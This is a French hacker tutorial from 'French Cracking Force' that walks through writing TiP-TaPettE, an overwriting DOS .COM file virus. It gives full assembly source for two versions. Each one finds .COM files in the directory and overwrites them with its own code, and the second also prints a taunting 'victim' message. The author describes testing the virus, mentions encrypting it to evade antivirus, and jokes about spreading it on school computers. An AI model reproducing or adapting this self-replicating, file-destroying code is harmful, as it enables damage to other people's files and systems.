******************************************************************************
{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{  TiP-TaPettE  }}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
******************************************************************************


Maintenant qu'on a les bases suffisantes en asm, on va créer notre (mon) infecteur de fichier *.com
Il se nommera TiP-TaPettE et sera un virus merdique. (car c'est un infecteur de .com et de plus il ecrase le fichier donc totalement pourri !lol)
Mais bon, faut bien commencer par quelquechose.

Detail du fonctionnement:
********************
fichier avant :

|-------------------------|
|       programme         |
|-------------------------|

fichier infecté :

|-------------------------|
|  Virus | gramme         |
|-------------------------|
Le com infecté sera donc carrement inutilisable et le virus ne se répandra que dans la directory de départ mais bon, encore une fois c'est juste pour apprendre.

Procédé de l'infection:
******************

-Chercher un com dans la directory
-Si il y en a un, on l'ouvre
-Puis on inscrit le virus dedans
-On ferme le fichier
-On n'en cherche un autre
-Si on en trouve un on recommence

On voit donc que le virus est si con qu'il verifie meme pas si le com est deja infecte.

Allez un peu de source :
*******************

pour ouvrir un fichier:

---------------------------------------------------------------- 
l'interruption 21h code 3Dh 
pour l'appeler :

mettre en ah : 3Dh
       en dx : l'offset ou il y a le nom du fichier
               (finissant par un 0)
puis   int 21h pour appeler l'interruption
note : renvoie le handle du fichier en ax

----------------------------------------------------------------
pour ecrire dans un fichier:

---------------------------------------------------------------- 
l'interruption 21h code 40h 
pour l'appeler :

mettre en ah : 40h
       en bx : le handle du fichier
       en cx : le nombre d'octets a ecrire
       en dx : adresse du buffer source

puis   int 21h pour appeler l'interruption

----------------------------------------------------------------
pour fermer un fichier:

---------------------------------------------------------------- 
l'interruption 21h code 3Eh 
pour l'appeler :

mettre en ah : 3Eh
       en bx : le handle du fichier a fermer

puis   int 21h pour appeler l'interruption

----------------------------------------------------------------
Allez on y go :
************

voici donc le source a copier dans un fichier texte puis a renommer en virus.asm
*******************************************************************


.model small                 ;model de memoire
.code

ORG 100h                     ;car on fait un fichier com

debut:

   mov ah,4Eh                ;
   mov dx,offset fichiercom  ;findfirst
   int 21h                   ;

infection:

   jc fin                    ;si on trouve pas on quitte

   mov ax,3D01h              ;ouverture-du-fichier(le 01 indique qu'on ouvre en ecriture)
   mov dx,9Eh                ;car nom en 9Eh
   int 21h

   mov bx,ax                 ;handle en bx
   mov ah,40h                ;ecriture
   mov cx,2Dh                ;taille de notre virus
   mov dx,100h               ;pointe au debut de notre com a recopier dans l'autre
   int 21h

                             
   mov ah,3Eh                ;fermeture-du-fichier
   int 21h
                             
   mov ah,4Fh                ;findnext
   int 21h                   ;si y en a pas on se casse
   jmp infection             ;si y en a on revient


fin:

   ret                       ;fini

   fichiercom db '*.COM',0   ;a la fin car c'est un .com

END debut

*******************************************************************

Puis la phase de test.
Mais comment tester notre virus ? Eh bien on se cree un repertoire test puis on met notre virus dedans.
Ensuite on cree un .com qu'on rempli avec le bloc note.
Et on lance le virus. Apres ça on regarde l'hexa du .com pour voir si il a bien été infecté. Si c'est le cas on efface virus.com et on cree un autre com rempli au notepad. Puis on lance le fichier infecte.
Si il infecte l'autre alors on a gagné ! Mais bon notre virus il est foireux quand meme. On va essayer de faire en sorte qu'un fichier infecté envoie un message par le dos.
genre :"tu es la victime du virus TiP-GeNoCiDE, bonne journée !".

Allez on se met a l'oeuvre :

Voici le source qui ferait cela :

TiP-TaPettE virus
*****************

**************************** TiP-TaPettE **************************



.model small                 ;model de memoire
.code

ORG 100h                     ;car on fait un fichier com

debut:

   mov ah,4Eh               ; 
   mov dx,offset fichiercom ;findfirst
   int 21h                  ;

infection:

   jc fin                   ;si on trouve pas on quitte

   mov ax,3D01h             ;ouverture-du-fichier(le 01 indique qu'on ouvre en ecriture)
   mov dx,9Eh               ;car nom en 9Eh
   int 21h

   mov bx,ax                ;handle en bx
   mov ah,40h               ;ecriture
   mov cx,70h               ;taille de notre virus (beh voui il est plus gros)
   mov dx,100h              ;pointe au debut de notre com a recopier dans l'autre
   int 21h

                            ;fermeture-du-fichier
   mov ah,3Eh
   int 21h
                             
   mov ah,4Fh               ;findnext
   int 21h                  ;si y en a pas on se casse
   jmp infection            ;si y en a on revient


fin:

   mov dx,offset chaine     ;message en dx
   push ax                  ;on sauve ax car il est modifié
   mov ax,0900h             ;affichage du message
   int 21h
   pop ax                   ;on restaure ax

   ret                      ;fini

   fichiercom db '*.COM',0  ;a la fin car c'est un .com
   chaine db 'tu es la victime du virus TiP-TaPettE, bonne journee !$'

END debut


*******************************************************************
Bon on le teste. Arf j'en reviens pas, y marche du premier coup, c'est kewl.
Ce virus est quand meme une sacrée grosse daube mais bon je suis content quand meme.
Cependant n'esperer pas niquer la planete avec vu le mal qu'il a a ce repandre !lol. La prochaine fois (si il y en a une on fera un vrai virus).

Tiens en passant on va l'analyser avec anti viral toolkit pro pour voir (j'ai pas norton sur moi.).Héhé il est reconnu direct ! lol. J'essayerais de le crypter pour voir. J'espere que vous aurez autant de plaisir a lire cet article que j'en ai eu a le faire.
Sur ce, bonne programmation.

ps-lol: Et si je le mettais sur les pcs de mon établissement scolaire !...:))


TiPiaX / French Cracking Force